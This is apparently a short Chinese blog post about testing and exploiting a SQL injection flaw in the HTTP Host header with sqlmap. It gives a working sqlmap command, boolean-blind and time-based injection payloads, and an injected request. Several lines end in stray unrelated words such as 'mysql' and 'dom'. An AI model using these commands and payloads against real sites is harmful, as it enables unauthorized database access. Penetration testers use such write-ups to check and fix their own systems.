最近收到了一個漏洞通報,竟然是對 HTTP 請求的 Host 參數進行 SQL 注入,比較有趣,須要總結一下。mysql
以下是通過簡化的具體的滲透測試命令,假設主機名爲 aaa.bbb.ccc:sql
$ more sql.txt GET / HTTP/1.1 Host: aaa.bbb.ccc* $ sqlmap --host http://aaa.bbb.ccc -r sql.txt --random-agent -p Host --risk 3 --dbms mysql --current-user --is-dba —tables ... sqlmap identified the following injection point(s) with a total of 306 HTTP(s) requests: --- Parameter: Host #1* ((custom) HEADER) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: -6117') OR 9754=9754 AND ('EXWO'='EXWO Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: aaa.bbb.ccc') OR SLEEP(5) AND ('UnAw'='UnAw --- ...
滲透過程當中 sqlmap 會生成相似以下的 HTTP 請求,以進行 SQL 注入測試,經過 -v3 參數能夠看到:dom
GET / HTTP/1.1 Host: aaa.bbb.ccc') OR SLEEP(5) AND ('hxje'='hxje Referer: http://aaa.bbb.ccc:80/ User-agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8 Connection: close
正常狀況下,使用 --level 3 參數時 sqlmap 會測試一些 HTTP 請求頭的參數,但不會測試 Host 參數,因此須要使用 -p Host 參數來指定測試。ide
此外因爲 Host 參數與僞靜態頁面相似,因此還須要用 * 星號標記一下注入點。測試